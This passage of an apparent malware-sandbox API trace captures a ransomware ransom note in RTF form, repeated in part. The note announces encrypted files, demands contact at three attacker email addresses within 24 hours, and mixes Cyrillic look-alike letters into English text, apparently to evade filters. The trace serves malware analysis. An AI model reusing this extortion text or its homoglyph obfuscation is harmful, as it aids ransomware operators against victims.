t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f 